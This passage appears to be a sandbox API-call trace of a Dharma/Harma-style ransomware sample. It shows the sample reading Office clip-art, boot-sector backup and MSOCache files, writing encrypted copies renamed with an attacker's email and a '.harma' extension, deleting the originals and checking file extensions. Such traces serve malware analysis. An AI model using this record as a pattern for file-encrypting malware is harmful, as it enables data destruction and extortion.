hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.363] SetEndOfFile (hFile=0x1ec) returned 1 [0066.364] CloseHandle (hObject=0x1ec) returned 1 [0066.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0066.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.365] lstrlenW (lpString=".doc") returned 4 [0066.365] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.365] lstrlenW (lpString=".docx") returned 5 [0066.365] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.365] lstrlenW (lpString=".pdf") returned 4 [0066.365] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.365] lstrlenW (lpString=".xls") returned 4 [0066.365] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.365] lstrlenW (lpString=".xlsx") returned 5 [0066.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.365] lstrlenW (lpString=".ppt") returned 4 [0066.365] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.365] lstrlenW (lpString=".zip") returned 4 [0066.365] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.365] lstrlenW (lpString=".rar") returned 4 [0066.365] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.365] lstrlenW (lpString=".bz2") returned 4 [0066.365] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.365] lstrlenW (lpString=".7z") returned 3 [0066.365] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.365] lstrlenW (lpString=".dbf") returned 4 [0066.365] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.365] lstrlenW (lpString=".1cd") returned 4 [0066.365] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.365] lstrlenW (lpString=".jpg") returned 4 [0066.366] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.366] lstrlenW (lpString=".doc") returned 4 [0066.366] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.366] lstrlenW (lpString=".docx") returned 5 [0066.366] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.366] lstrlenW (lpString=".pdf") returned 4 [0066.366] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.366] lstrlenW (lpString=".xls") returned 4 [0066.366] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.366] lstrlenW (lpString=".xlsx") returned 5 [0066.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.366] lstrlenW (lpString=".ppt") returned 4 [0066.366] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.366] lstrlenW (lpString=".zip") returned 4 [0066.366] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.366] lstrlenW (lpString=".rar") returned 4 [0066.366] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.366] lstrlenW (lpString=".bz2") returned 4 [0066.366] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.366] lstrlenW (lpString=".7z") returned 3 [0066.366] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.366] lstrlenW (lpString=".dbf") returned 4 [0066.366] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.366] lstrlenW (lpString=".1cd") returned 4 [0066.367] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0066.367] lstrlenW (lpString=".jpg") returned 4 [0066.367] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.367] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.367] lstrlenW (lpString="AG00161_.GIF") returned 12 [0066.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0066.367] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=7583) returned 1 [0066.367] CloseHandle (hObject=0x1ec) returned 1 [0066.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0066.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0066.368] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.368] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0066.368] GetLastError () returned 0x0 [0066.368] ReadFile (in: hFile=0x1ec, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0066.439] WriteFile (in: hFile=0x1f0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0066.440] ReadFile (in: hFile=0x1ec, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.440] WriteFile (in: hFile=0x1f0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.441] SetEndOfFile (hFile=0x1f0) returned 1 [0068.095] CloseHandle (hObject=0x1f0) returned 1 [0068.393] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.393] SetEndOfFile (hFile=0x1ec) returned 1 [0068.394] CloseHandle (hObject=0x1ec) returned 1 [0068.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0068.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.394] lstrlenW (lpString=".doc") returned 4 [0068.395] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.395] lstrlenW (lpString=".docx") returned 5 [0068.395] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.395] lstrlenW (lpString=".pdf") returned 4 [0068.395] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.395] lstrlenW (lpString=".xls") returned 4 [0068.395] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.395] lstrlenW (lpString=".xlsx") returned 5 [0068.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.395] lstrlenW (lpString=".ppt") returned 4 [0068.395] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.395] lstrlenW (lpString=".zip") returned 4 [0068.395] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.395] lstrlenW (lpString=".rar") returned 4 [0068.395] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.395] lstrlenW (lpString=".bz2") returned 4 [0068.395] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.395] lstrlenW (lpString=".7z") returned 3 [0068.395] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.395] lstrlenW (lpString=".dbf") returned 4 [0068.395] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.395] lstrlenW (lpString=".1cd") returned 4 [0068.395] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.395] lstrlenW (lpString=".jpg") returned 4 [0068.396] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.396] lstrlenW (lpString=".doc") returned 4 [0068.396] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.396] lstrlenW (lpString=".docx") returned 5 [0068.396] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.396] lstrlenW (lpString=".pdf") returned 4 [0068.396] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.396] lstrlenW (lpString=".xls") returned 4 [0068.396] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.396] lstrlenW (lpString=".xlsx") returned 5 [0068.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.396] lstrlenW (lpString=".ppt") returned 4 [0068.396] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.396] lstrlenW (lpString=".zip") returned 4 [0068.396] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.396] lstrlenW (lpString=".rar") returned 4 [0068.396] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.396] lstrlenW (lpString=".bz2") returned 4 [0068.396] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.396] lstrlenW (lpString=".7z") returned 3 [0068.396] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.396] lstrlenW (lpString=".dbf") returned 4 [0068.397] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.397] lstrlenW (lpString=".1cd") returned 4 [0068.397] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0068.397] lstrlenW (lpString=".jpg") returned 4 [0068.397] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.397] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0068.397] lstrlenW (lpString="AN00914_.WMF") returned 12 [0068.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 10 os_tid = 0x9d4 [0038.300] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x640488 [0038.301] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x650490 [0038.301] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f02a0 [0038.301] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5da388 [0038.301] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f02b8 [0038.301] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3160020 [0038.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f02d0 [0038.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f02d0, Size=0x20) returned 0x63fa90 [0038.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f02d0 [0038.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f02d0, Size=0x20) returned 0x63fab8 [0038.302] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0038.302] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0038.302] Wow64DisableWow64FsRedirection (in: OldValue=0x2b8ff58 | out: OldValue=0x2b8ff58*=0x0) returned 1 [0038.302] lstrlenW (lpString="kernel32.dll") returned 12 [0038.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fa90 | out: hHeap=0x5a0000) returned 1 [0038.302] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0038.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0038.302] Sleep (dwMilliseconds=0x64) [0038.848] Sleep (dwMilliseconds=0x64) [0039.524] Sleep (dwMilliseconds=0x64) [0039.754] lstrcmpiW (lpString1=".BAK", lpString2=".harma") returned -1 [0039.754] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0039.755] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.857] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8192) returned 1 [0039.857] CloseHandle (hObject=0x178) returned 1 [0039.857] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0039.857] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\bootsect.bak.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.857] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0039.857] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.857] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.857] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.857] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\bootsect.bak.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0039.858] GetLastError () returned 0x0 [0039.858] ReadFile (in: hFile=0x178, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x2000, lpOverlapped=0x0) returned 1 [0039.873] WriteFile (in: hFile=0x17c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0039.874] ReadFile (in: hFile=0x178, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.874] WriteFile (in: hFile=0x17c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0039.874] SetEndOfFile (hFile=0x17c) returned 1 [0039.874] CloseHandle (hObject=0x17c) returned 1 [0039.875] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.875] SetEndOfFile (hFile=0x178) returned 1 [0039.876] CloseHandle (hObject=0x178) returned 1 [0039.876] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x27) returned 1 [0039.876] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0039.877] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.877] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.877] lstrlenW (lpString=".doc") returned 4 [0039.877] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0039.877] lstrlenW (lpString=".docx") returned 5 [0039.877] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0039.877] lstrlenW (lpString=".pdf") returned 4 [0039.877] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0039.877] lstrlenW (lpString=".xls") returned 4 [0039.877] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0039.877] lstrlenW (lpString=".xlsx") returned 5 [0039.877] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0039.877] lstrlenW (lpString=".ppt") returned 4 [0039.877] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0039.877] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.877] lstrlenW (lpString=".zip") returned 4 [0039.877] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0039.877] lstrlenW (lpString=".rar") returned 4 [0039.877] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0039.877] lstrlenW (lpString=".bz2") returned 4 [0039.877] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0039.877] lstrlenW (lpString=".7z") returned 3 [0039.877] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0039.877] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.877] lstrlenW (lpString=".dbf") returned 4 [0039.877] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0039.877] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.877] lstrlenW (lpString=".1cd") returned 4 [0039.877] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0039.878] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.878] lstrlenW (lpString=".jpg") returned 4 [0039.878] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.878] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.878] lstrlenW (lpString=".doc") returned 4 [0039.878] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString=".docx") returned 5 [0039.878] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0039.878] lstrlenW (lpString=".pdf") returned 4 [0039.878] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString=".xls") returned 4 [0039.878] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString=".xlsx") returned 5 [0039.878] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0039.878] lstrlenW (lpString=".ppt") returned 4 [0039.878] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.878] lstrlenW (lpString=".zip") returned 4 [0039.878] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString=".rar") returned 4 [0039.878] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString=".bz2") returned 4 [0039.878] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString=".7z") returned 3 [0039.878] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0039.878] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.878] lstrlenW (lpString=".dbf") returned 4 [0039.878] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0039.878] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.878] lstrlenW (lpString=".1cd") returned 4 [0039.879] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0039.879] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0039.879] lstrlenW (lpString=".jpg") returned 4 [0039.879] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0039.879] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.879] lstrlenW (lpString="Setup.xml") returned 9 [0039.879] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.879] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1886) returned 1 [0039.879] CloseHandle (hObject=0x178) returned 1 [0039.879] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.879] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.879] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.880] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.880] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0039.880] GetLastError () returned 0x0 [0039.880] ReadFile (in: hFile=0x178, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x75e, lpOverlapped=0x0) returned 1 [0039.881] WriteFile (in: hFile=0x17c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x760, lpOverlapped=0x0) returned 1 [0039.882] ReadFile (in: hFile=0x178, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, 